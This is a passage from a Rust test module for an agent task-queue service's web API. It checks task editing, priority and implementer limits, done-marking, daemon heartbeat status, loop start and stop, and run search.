17748        let _ = change(serde_json::Value::Null).await.unwrap();
17749        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17750    }
17751
17752    #[tokio::test]
17753    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17754        let dir = TempDir::new().unwrap();
17755        let repo = dir.path().join("repo");
17756        std::fs::create_dir(&repo).unwrap();
17757        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17758        let q = Queue::at(dir.path().join("queue"));
17759        let ui = Arc::new(Ui::new(
17760            q.clone(),
17761            Questions::at(dir.path().join("questions")),
17762            Talks::at(dir.path().join("talks")),
17763            dir.path().join("runs"),
17764            dir.path().to_path_buf(),
17765            repo.clone(),
17766        ));
17767        let mut t = Task::new(
17768            "seats".into(),
17769            "keep instruction".into(),
17770            repo,
17771            Source::Human,
17772        );
17773        t.runs.push("prior-run".into());
17774        t.hold_manual(Some("waiting".into()));
17775        q.put(&mut t).unwrap();
17776        let change = |count| {
17777            queue_implementers(
17778                State(ui.clone()),
17779                Path(t.id.clone()),
17780                Ok(Json(ImplementersBody {
17781                    implementers: count,
17782                })),
17783            )
17784        };
17785        for count in [2, 1, 2] {
17786            let response = change(count).await.unwrap();
17787            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17788            let saved = q.get(&t.id).unwrap();
17789            assert_eq!(saved.implementers(), Some(usize::from(count)));
17790            assert_eq!(saved.runs, t.runs);
17791            assert_eq!(saved.instruction, t.instruction);
17792        }
17793        for count in [0, 4] {
17794            assert_eq!(
17795                change(count).await.err().unwrap().status,
17796                StatusCode::BAD_REQUEST
17797            );
17798        }
17799        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17800        let claim = q.claim(&t.id).unwrap();
17801        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17802        drop(claim);
17803        for status in [
17804            TaskStatus::Running,
17805            TaskStatus::Done,
17806            TaskStatus::Failed,
17807            TaskStatus::Blocked,
17808            TaskStatus::Parked,
17809        ] {
17810            let mut stored = q.get(&t.id).unwrap();
17811            stored.status = status;
17812            q.put(&mut stored).unwrap();
17813            assert_eq!(
17814                change(1).await.err().unwrap().status,
17815                StatusCode::BAD_REQUEST
17816            );
17817            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17818        }
17819    }
17820
17821    #[tokio::test]
17822    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17823        let f = Fixture::start().await;
17824        let queue = f.queue();
17825        let mut task = Task::new(
17826            "in flight".to_owned(),
17827            "x".to_owned(),
17828            PathBuf::from("/repo/magi"),
17829            Source::Human,
17830        );
17831        task.start("20260902-140502-bbbb".to_owned());
17832        queue.put(&mut task).expect("file the task");
17833
17834        let res = f
17835            .post(
17836                &format!("/api/queue/{}/priority", task.id),
17837                Some(r#"{"priority":9}"#),
17838            )
17839            .await;
17840        assert_eq!(res.status, 400, "{}", res.body);
17841        assert!(
17842            res.json()["error"]
17843                .as_str()
17844                .is_some_and(|e| e.contains("running")),
17845            "{}",
17846            res.body
17847        );
17848        assert_eq!(
17849            queue.get(&task.id).expect("reload").priority,
17850            0,
17851            "the refused write must not partially apply"
17852        );
17853    }
17854
17855    #[tokio::test]
17856    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17857        let f = Fixture::start().await;
17858        let queue = f.queue();
17859        let mut task = Task::new(
17860            "old title".to_owned(),
17861            "old instruction".to_owned(),
17862            PathBuf::from("/repo/magi"),
17863            Source::Agent {
17864                run: "20260101-000000-beef".to_owned(),
17865                node: "implement".to_owned(),
17866            },
17867        );
17868        task.runs.push("20260101-000000-beef".to_owned());
17869        queue.put(&mut task).expect("file the task");
17870        let created_at = task.created_at;
17871
17872        let edited = f
17873            .post(
17874                &format!("/api/queue/{}/edit", task.id),
17875                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17876            )
17877            .await;
17878        assert_eq!(edited.status, 200, "{}", edited.body);
17879        let body = edited.json();
17880        assert_eq!(body["title"], "new title");
17881        assert_eq!(body["instruction"], "new instruction");
17882        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17883        assert_eq!(body["created_at"], created_at.to_string());
17884        assert_eq!(
17885            body["source"]["kind"], "agent",
17886            "editing a task an agent filed must not turn it human: {body}"
17887        );
17888        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17889
17890        let reloaded = queue.get(&task.id).expect("reload");
17891        assert_eq!(reloaded.title, "new title");
17892        assert_eq!(reloaded.instruction, "new instruction");
17893    }
17894
17895    #[tokio::test]
17896    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17897        // The judge is an agent now: a repo whose only agent answers
17898        // "duplicate" stands in for it, so the refusal is the judge's.
17899        let tmp = TempDir::new().expect("tempdir");
17900        let repo = tmp.path().join("repo");
17901        std::fs::create_dir_all(&repo).expect("repo dir");
17902        let judge = MOCK_AGENT_TOML.replace(
17903            "printf ok",
17904            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17905        );
17906        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17907        let f = Fixture::with_repo(repo.clone()).await;
17908        let queue = f.queue();
17909        let mut owner = Task::new(
17910            "owner".to_owned(),
17911            "review it".to_owned(),
17912            repo.clone(),
17913            Source::Human,
17914        );
17915        owner.review_branch = Some("magi/ab12/A".to_owned());
17916        queue.put(&mut owner).expect("file the owner");
17917        let mut task = Task::new(
17918            "draft".to_owned(),
17919            "old".to_owned(),
17920            repo.clone(),
17921            Source::Human,
17922        );
17923        queue.put(&mut task).expect("file the draft");
17924        let url = format!("/api/queue/{}/edit", task.id);
17925
17926        let refused = f
17927            .post(
17928                &url,
17929                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17930            )
17931            .await;
17932        assert_eq!(refused.status, 409, "{}", refused.body);
17933        let msg = refused.json()["error"]
17934            .as_str()
17935            .unwrap_or_default()
17936            .to_owned();
17937        assert!(
17938            msg.contains("magi/ab12/A") && msg.contains("force"),
17939            "{msg}"
17940        );
17941        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17942
17943        let forced = f
17944            .post(
17945                &url,
17946                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17947            )
17948            .await;
17949        assert_eq!(forced.status, 200, "{}", forced.body);
17950    }
17951
17952    #[tokio::test]
17953    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17954        let f = Fixture::start().await;
17955        let queue = f.queue();
17956        let mut task = Task::new(
17957            "in flight".to_owned(),
17958            "do not touch".to_owned(),
17959            PathBuf::from("/repo/magi"),
17960            Source::Human,
17961        );
17962        task.start("20260902-140502-bbbb".to_owned());
17963        queue.put(&mut task).expect("file the task");
17964
17965        let res = f
17966            .post(
17967                &format!("/api/queue/{}/edit", task.id),
17968                Some(r#"{"title":"x","instruction":"y"}"#),
17969            )
17970            .await;
17971        assert_eq!(res.status, 400, "{}", res.body);
17972        assert!(
17973            res.json()["error"]
17974                .as_str()
17975                .is_some_and(|e| e.contains("running")),
17976            "{}",
17977            res.body
17978        );
17979        assert_eq!(
17980            queue.get(&task.id).expect("reload").instruction,
17981            "do not touch",
17982            "the refused edit must not change the file"
17983        );
17984    }
17985
17986    #[tokio::test]
17987    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17988        let f = Fixture::start().await;
17989        let queue = f.queue();
17990        let mut task = Task::new(
17991            "busy".to_owned(),
17992            "Running right now".to_owned(),
17993            PathBuf::from("/repo/magi"),
17994            Source::Human,
17995        );
17996        queue.put(&mut task).expect("file the task");
17997        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17998
17999        let priority = f
18000            .post(
18001                &format!("/api/queue/{}/priority", task.id),
18002                Some(r#"{"priority":9}"#),
18003            )
18004            .await;
18005        assert_eq!(priority.status, 409, "{}", priority.body);
18006
18007        let edit = f
18008            .post(
18009                &format!("/api/queue/{}/edit", task.id),
18010                Some(r#"{"title":"x","instruction":"y"}"#),
18011            )
18012            .await;
18013        assert_eq!(edit.status, 409, "{}", edit.body);
18014    }
18015
18016    #[tokio::test]
18017    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18018        let f = Fixture::start().await;
18019        let queue = f.queue();
18020        let mut task = Task::new(
18021            "shipped by hand".to_owned(),
18022            "merged outside the loop".to_owned(),
18023            PathBuf::from("/repo/magi"),
18024            Source::Agent {
18025                run: "20260101-000000-b455".to_owned(),
18026                node: "implement".to_owned(),
18027            },
18028        );
18029        task.runs.push("20260101-000000-b455".to_owned());
18030        task.runs.push("20260101-000000-9af4".to_owned());
18031        queue.put(&mut task).expect("file the task");
18032        let created_at = task.created_at;
18033
18034        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18035        assert_eq!(done.status, 200, "{}", done.body);
18036        assert_eq!(done.json()["status_str"], "done");
18037
18038        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18039        assert_eq!(
18040            reloaded.runs,
18041            ["20260101-000000-b455", "20260101-000000-9af4"]
18042        );
18043        assert_eq!(
18044            reloaded.source,
18045            Source::Agent {
18046                run: "20260101-000000-b455".to_owned(),
18047                node: "implement".to_owned(),
18048            }
18049        );
18050        assert_eq!(reloaded.created_at, created_at);
18051    }
18052
18053    #[tokio::test]
18054    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18055        // `done` is allowed on any status, including `held`, with no release
18056        // in between - so a task held for a reason and then closed directly
18057        // must not keep reading as "waiting on" it afterwards, on its card or
18058        // in `magi task show`.
18059        let f = Fixture::start().await;
18060        let queue = f.queue();
18061        let mut task = Task::new(
18062            "landed while held".to_owned(),
18063            "x".to_owned(),
18064            PathBuf::from("/repo/magi"),
18065            Source::Human,
18066        );
18067        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18068        queue.put(&mut task).expect("file the held task");
18069
18070        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18071        assert_eq!(done.status, 200, "{}", done.body);
18072        assert_eq!(done.json()["status_str"], "done");
18073        assert!(
18074            done.json()["hold_reason"].is_null(),
18075            "a done task cannot still be waiting on something: {}",
18076            done.body
18077        );
18078    }
18079
18080    #[tokio::test]
18081    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18082        // `queue_done` is the phone's way to close a task the loop never
18083        // settled itself - after confirming a manual GitHub merge, say - and
18084        // that is just as much "this task's story is over" as the loop's own
18085        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18086        let f = Fixture::start().await;
18087        let queue = f.queue();
18088        let runs = f.runs();
18089        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18090        // The last attempt has to have actually landed for the earlier one
18091        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18092        // for the case where it didn't.
18093        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18094
18095        let mut task = Task::new(
18096            "landed by hand".to_owned(),
18097            "x".to_owned(),
18098            PathBuf::from("/repo/magi"),
18099            Source::Human,
18100        );
18101        task.runs.push("20260101-000000-doa1".to_owned());
18102        task.runs.push("20260101-000000-doa2".to_owned());
18103        queue.put(&mut task).expect("file the task");
18104
18105        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18106        assert_eq!(done.status, 200, "{}", done.body);
18107
18108        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18109            .expect("run still on disk under this fixture's own home");
18110        assert_eq!(
18111            reloaded_run.status,
18112            RunStatus::Superseded,
18113            "closing the task by hand must relabel the earlier blocked attempt exactly \
18114             like the loop's own settle path does"
18115        );
18116    }
18117
18118    #[tokio::test]
18119    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18120        // Closing a task by hand is allowed from any status, including one
18121        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18122        // manual merge the loop never watched, say. Nothing here is provably
18123        // why the task is done, so nothing earlier gets relabelled either.
18124        let f = Fixture::start().await;
18125        let queue = f.queue();
18126        let runs = f.runs();
18127        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18128        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18129
18130        let mut task = Task::new(
18131            "closed with nothing actually landed".to_owned(),
18132            "x".to_owned(),
18133            PathBuf::from("/repo/magi"),
18134            Source::Human,
18135        );
18136        task.runs.push("20260101-000000-dob1".to_owned());
18137        task.runs.push("20260101-000000-dob2".to_owned());
18138        queue.put(&mut task).expect("file the task");
18139
18140        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18141        assert_eq!(done.status, 200, "{}", done.body);
18142
18143        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18144            .expect("run still on disk under this fixture's own home");
18145        assert_eq!(
18146            reloaded_run.status,
18147            RunStatus::Blocked,
18148            "the last recorded attempt never landed, so the earlier one must not be \
18149             relabelled as superseded by it"
18150        );
18151    }
18152
18153    #[tokio::test]
18154    async fn unknown_ids_are_json_not_found_on_both_stores() {
18155        let f = Fixture::start().await;
18156
18157        let run = f.get("/api/runs/nosuchrun").await;
18158        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18159
18160        assert_eq!(run.status, 404);
18161        assert_eq!(task.status, 404);
18162        assert!(
18163            run.json()["error"]
18164                .as_str()
18165                .is_some_and(|e| e.contains("run")),
18166            "the error names what was not found: {}",
18167            run.body
18168        );
18169        assert!(
18170            task.json()["error"]
18171                .as_str()
18172                .is_some_and(|e| e.contains("task")),
18173            "the error names what was not found: {}",
18174            task.body
18175        );
18176    }
18177
18178    #[tokio::test]
18179    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18180        let f = Fixture::start().await;
18181
18182        let missing = f.get("/api/health").await.json();
18183        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18184
18185        write_daemon(
18186            f.home.path(),
18187            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18188        );
18189        let stale = f.get("/api/health").await.json();
18190        assert_eq!(
18191            stale["daemon"]["running"], false,
18192            "a minute without a heartbeat is a dead daemon, not a busy one"
18193        );
18194        assert!(
18195            stale["daemon"]["stale_for_secs"]
18196                .as_i64()
18197                .is_some_and(|s| s >= 55),
18198            "staleness is reported so the UI can say how long: {stale}"
18199        );
18200
18201        write_daemon(f.home.path(), Timestamp::now());
18202        let fresh = f.get("/api/health").await.json();
18203        assert_eq!(fresh["daemon"]["running"], true);
18204        assert_eq!(fresh["daemon"]["idle"], false);
18205        assert_eq!(fresh["daemon"]["pid"], 4242);
18206        assert_eq!(fresh["daemon"]["completed"], 7);
18207        assert_eq!(
18208            fresh["daemon"]["current"][0]["task"],
18209            "20260902-140501-aaaa"
18210        );
18211        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18212    }
18213
18214    #[tokio::test]
18215    async fn the_loop_is_not_running_until_something_starts_it() {
18216        let f = Fixture::start().await;
18217
18218        let view = f.get("/api/loop").await.json();
18219        assert_eq!(view["running"], false);
18220        assert_eq!(
18221            view["owned"], false,
18222            "nobody owns a loop that does not exist: {view}"
18223        );
18224        assert_eq!(view["stopping"], false);
18225        assert_eq!(view["last_error"], Value::Null);
18226        assert_eq!(view["daemon"]["running"], false);
18227        assert_eq!(
18228            view["repo"], "/repo/magi",
18229            "the repository a start would use, named before it is started"
18230        );
18231    }
18232
18233    #[tokio::test]
18234    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18235        let f = Fixture::start().await;
18236
18237        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18238        assert_eq!(res.status, 200, "{}", res.body);
18239        let view = res.json();
18240        assert_eq!(view["running"], true);
18241        assert_eq!(
18242            view["owned"], true,
18243            "the loop the UI started is the UI's own to stop: {view}"
18244        );
18245        assert_eq!(
18246            view["merge"],
18247            Value::Null,
18248            "no override was given, so each repository's own config decides"
18249        );
18250
18251        // The same object from the route a waking phone polls first. Two
18252        // surfaces disagreeing about whether anything is running is exactly
18253        // the confusion this UI exists to remove.
18254        let health = f.get("/api/health").await.json();
18255        assert_eq!(health["loop"]["running"], true, "{health}");
18256        assert_eq!(health["loop"]["owned"], true, "{health}");
18257
18258        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18259    }
18260
18261    #[tokio::test]
18262    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18263        let f = Fixture::start().await;
18264        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18265        assert_eq!(first.status, 200, "{}", first.body);
18266
18267        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18268        assert_eq!(
18269            again.status, 409,
18270            "two loops on one queue race for the same claims: {}",
18271            again.body
18272        );
18273        assert!(
18274            again.json()["error"]
18275                .as_str()
18276                .is_some_and(|e| e.contains("already running the loop")),
18277            "the refusal has to say why: {}",
18278            again.body
18279        );
18280        assert_eq!(
18281            f.get("/api/loop").await.json()["running"],
18282            true,
18283            "and the loop that was already running is untouched by it"
18284        );
18285
18286        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18287    }
18288
18289    #[tokio::test]
18290    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18291        let f = Fixture::start().await;
18292        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18293
18294        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18295        assert_eq!(
18296            res.status, 200,
18297            "the answer must not wait for the loop: a run in flight is tens of \
18298             minutes and the operator is holding a phone: {}",
18299            res.body
18300        );
18301
18302        let view = settled(&f, |v| v["running"] == false).await;
18303        assert_eq!(view["owned"], false);
18304        assert_eq!(
18305            view["stopping"], false,
18306            "a loop that has stopped is not still stopping: {view}"
18307        );
18308        assert_eq!(
18309            view["last_error"],
18310            Value::Null,
18311            "a loop that was asked to stop did not fail: {view}"
18312        );
18313
18314        // Idempotent, because the operator cannot tell a slow stop from a lost
18315        // one and will press it again.
18316        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18317        assert_eq!(twice.status, 200, "{}", twice.body);
18318    }
18319
18320    #[tokio::test]
18321    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18322        let f = Fixture::start().await;
18323        // How the operator has been doing it: a `magi serve` of their own,
18324        // heartbeat fresh, in the same home this UI reads.
18325        write_daemon(f.home.path(), Timestamp::now());
18326
18327        let view = f.get("/api/loop").await.json();
18328        assert_eq!(view["running"], false, "not in this process: {view}");
18329        assert_eq!(view["owned"], false, "and not this process's to control");
18330        assert_eq!(
18331            view["daemon"]["running"], true,
18332            "but a loop is alive somewhere, which is what the UI must say"
18333        );
18334        assert_eq!(view["daemon"]["pid"], 4242);
18335
18336        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18337            let res = f.post("/api/loop", Some(body)).await;
18338            assert_eq!(
18339                res.status, 409,
18340                "neither button may pretend to work on someone else's loop: {}",
18341                res.body
18342            );
18343            assert!(
18344                res.json()["error"]
18345                    .as_str()
18346                    .is_some_and(|e| e.contains("4242")),
18347                "the refusal has to name the process the operator must go to: {}",
18348                res.body
18349            );
18350        }
18351        assert_eq!(
18352            f.get("/api/loop").await.json()["running"],
18353            false,
18354            "and the refusal started nothing"
18355        );
18356    }
18357
18358    #[tokio::test]
18359    async fn a_stale_status_file_is_not_a_foreign_owner() {
18360        let f = Fixture::start().await;
18361        write_daemon(
18362            f.home.path(),
18363            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18364        );
18365
18366        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18367        assert_eq!(
18368            res.status, 200,
18369            "a daemon killed a minute ago must not lock the loop out of its \
18370             own home for good: {}",
18371            res.body
18372        );
18373        assert_eq!(res.json()["running"], true);
18374
18375        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18376    }
18377
18378    #[tokio::test]
18379    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18380        let f = Fixture::start().await;
18381        let before = f.get("/api/health").await.json()["loop_rev"]
18382            .as_u64()
18383            .expect("a loop revision");
18384
18385        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18386
18387        let after = f.get("/api/health").await.json()["loop_rev"]
18388            .as_u64()
18389            .expect("a loop revision");
18390        assert!(
18391            after > before,
18392            "the loop is in-process state, so this counter is the only thing \
18393             that tells a second device the first one started it: {before} -> \
18394             {after}"
18395        );
18396
18397        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18398    }
18399
18400    #[tokio::test]
18401    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18402        let f = Fixture::with_loop(launch_broken).await;
18403
18404        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18405        assert_eq!(
18406            res.status, 200,
18407            "starting it is not the failure: {}",
18408            res.body
18409        );
18410
18411        let view = settled(&f, |v| v["last_error"].is_string()).await;
18412        assert_eq!(
18413            view["running"], false,
18414            "a loop that died must not read as running, or the operator has \
18415             nothing to press: {view}"
18416        );
18417        assert_eq!(view["owned"], false);
18418        assert!(
18419            view["last_error"]
18420                .as_str()
18421                .is_some_and(|e| e.contains("read-only file system")),
18422            "the phone is where a loop that died at 3am is visible: {view}"
18423        );
18424
18425        // And it can be started again: the corpse was reaped, not left to
18426        // occupy the slot.
18427        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18428        assert_eq!(again.status, 200, "{}", again.body);
18429        assert!(
18430            again.json()["last_error"]
18431                .as_str()
18432                .is_none_or(|e| !e.contains("read-only file system")),
18433            "a fresh start does not keep showing why the last one died: {}",
18434            again.body
18435        );
18436    }
18437
18438    #[tokio::test]
18439    async fn a_newer_daemon_status_file_still_renders() {
18440        let f = Fixture::start().await;
18441        // A field this build has never heard of must not turn the status line
18442        // into a 500; that is the whole reason the reader is permissive.
18443        std::fs::write(
18444            f.home.path().join("daemon.json"),
18445            serde_json::json!({
18446                "schema": 2,
18447                "updated_at": Timestamp::now().to_string(),
18448                "idle": true,
18449                "surprise": { "nested": [1, 2, 3] },
18450            })
18451            .to_string(),
18452        )
18453        .expect("write daemon.json");
18454
18455        let health = f.get("/api/health").await;
18456
18457        assert_eq!(health.status, 200);
18458        assert_eq!(health.json()["daemon"]["running"], true);
18459    }
18460
18461    #[tokio::test]
18462    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18463        let f = Fixture::start().await;
18464        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18465        let broken = f.runs().join("20260902-140502-bad");
18466        std::fs::create_dir_all(&broken).expect("run dir");
18467        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18468
18469        let list = f.get("/api/runs").await;
18470        let detail = f.get("/api/runs/20260902-140502-bad").await;
18471
18472        assert_eq!(list.status, 200);
18473        let listed = list.json();
18474        let ids: Vec<&str> = listed
18475            .as_array()
18476            .expect("an array")
18477            .iter()
18478            .map(|r| r["id"].as_str().expect("an id"))
18479            .collect();
18480        assert_eq!(
18481            ids,
18482            vec!["20260902-140501-good"],
18483            "one unreadable run must not cost the operator the whole history"
18484        );
18485        assert_eq!(detail.status, 500);
18486        assert!(
18487            detail.json()["error"]
18488                .as_str()
18489                .is_some_and(|e| e.contains("run.json")),
18490            "the failure names the file to look at: {}",
18491            detail.body
18492        );
18493        // A skipped run has to be countable somewhere, or the UI shows an
18494        // empty history with nothing to explain it - which is exactly what a
18495        // directory full of older-schema runs looks like.
18496        let health = f.get("/api/health").await;
18497        assert_eq!(health.json()["runs_unreadable"], 1);
18498    }
18499
18500    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18501    #[tokio::test]
18502    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18503        let f = Fixture::start().await;
18504        let runs = f.runs();
18505        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18506        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18507        // Text three levels down, in a shape no current RunState has: an older
18508        // schema must still search.
18509        let path = runs.join("20260902-140502-bbbb").join("run.json");
18510        let mut v: serde_json::Value =
18511            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18512        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18513        std::fs::write(&path, v.to_string()).unwrap();
18514        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18515        std::fs::write(
18516            runs.join("20260902-140503-cccc").join("run.json"),
18517            "{ not json",
18518        )
18519        .unwrap();
18520
18521        let res = f.get("/api/search?scope=runs&q=quokka").await;
18522        assert_eq!(res.status, 200, "{}", res.body);
18523        let v = res.json();
18524        assert_eq!(v["total"], 1, "{v}");
18525        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18526        assert_eq!(v["hits"][0]["field"], "text");
18527        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18528        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18529        assert!(
18530            parts
18531                .iter()
18532                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18533            "{v}"
18534        );
18535        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18536        assert_eq!(
18537            flat, "The Quokka leaks across threads",
18538            "whitespace is collapsed"
18539        );
18540
18541        // Terms are ANDed, across different fields, case-insensitively.
18542        let both = f
18543            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18544            .await
18545            .json();
18546        assert_eq!(both["total"], 1, "{both}");
18547        let neither = f
18548            .get("/api/search?scope=runs&q=quokka%20zebra")
18549            .await
18550            .json();
18551        assert_eq!(neither["total"], 0, "{neither}");
18552        // Everything in the task statement is reachable, not only the row text.
18553        let stmt = f
18554            .get("/api/search?scope=runs&q=mobile%20first")
18555            .await
18556            .json();
18557        assert_eq!(stmt["total"], 2, "{stmt}");
18558        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18559        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18560    }
18561
18562    #[test]
18563    fn snippet_ignores_terms_longer_than_the_field() {
18564        let terms = ["ok".to_owned(), "elephant".to_owned()];
18565        let parts = snippet_of("ok", &terms);
18566        assert_eq!(
18567            parts,
18568            vec![SnippetPart {
18569                text: "ok".to_owned(),
18570                hit: true
18571            }]
18572        );
18573    }
18574
18575    #[test]
18576    fn snippet_marks_matches_longer_than_the_window() {
18577        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18578        let hit_len = |parts: &[SnippetPart]| -> usize {
18579            parts
18580                .iter()
18581                .filter(|p| p.hit)
18582                .map(|p| p.text.chars().count())
18583                .sum()
18584        };
18585        let total =
18586            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18587
18588        let long = "a".repeat(120);
18589        let parts = snippet_of(&long, std::slice::from_ref(&long));
18590        assert!(hit_len(&parts) > 0, "{parts:?}");
18591        assert!(total(&parts) <= cap);
18592
18593        let ja = "あ".repeat(130);
18594        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18595        assert!(hit_len(&parts) > 0, "{parts:?}");
18596        assert!(total(&parts) <= cap);
18597
18598        // A short hit, then one straddling the window's end.
18599        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18600        let term = format!("ab{}", "c".repeat(100));
18601        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18602        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18603        assert!(total(&parts) <= cap);
18604
18605        // Only the head matches: not highlighted.
18606        let text = format!("{}z", "a".repeat(119));
18607        let parts = snippet_of(&text, &["a".repeat(120)]);
18608        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18609    }
18610
18611    #[tokio::test]
18612    async fn search_caps_hits_and_snippet_length() {
18613        let f = Fixture::start().await;
18614        let runs = f.runs();
18615        for n in 0..(SEARCH_MAX_HITS + 5) {
18616            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18617        }
18618        let v = f.get("/api/search?scope=runs&q=web").await.json();
18619        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18620        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18621        assert_eq!(v["truncated"], true);
18622        // Every listed run hit carries its list row for the page's filters.
18623        assert!(
18624            v["hits"]
18625                .as_array()
18626                .unwrap()
18627                .iter()
18628                .all(|h| h["run"]["status"] == "merged")
18629        );
18630
18631        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18632        let parts = snippet_of(&long, &["needle".to_owned()]);
18633        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18634        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18635        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18636    }
18637
18638    #[tokio::test]
18639    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18640        let f = Fixture::start().await;
18641        let queue = f.queue();
18642        let mut t = Task::new(
18643            "short title".to_owned(),
18644            "line one\nthe hidden Armadillo detail".to_owned(),
18645            PathBuf::from("/repo/magi"),
18646            Source::Agent {
18647                run: "r1".to_owned(),
18648                node: "chat".to_owned(),
18649            },
18650        );
18651        t.last_error = Some("disk full on /tmp".to_owned());
18652        queue.put(&mut t).expect("file the task");
18653
18654        for (q, want) in [
18655            ("armadillo", 1),
18656            ("disk%20FULL", 1),
18657            ("chat", 1),
18658            ("queued", 1),
18659            ("short%20nothing", 0),
18660        ] {
18661            let v = f
18662                .get(&format!("/api/search?scope=tasks&q={q}"))
18663                .await
18664                .json();
18665            assert_eq!(v["total"], want, "{q}: {v}");
18666        }
18667        for bad in [
18668            "/api/search?scope=tasks&q=",
18669            "/api/search?scope=tasks&q=%20",
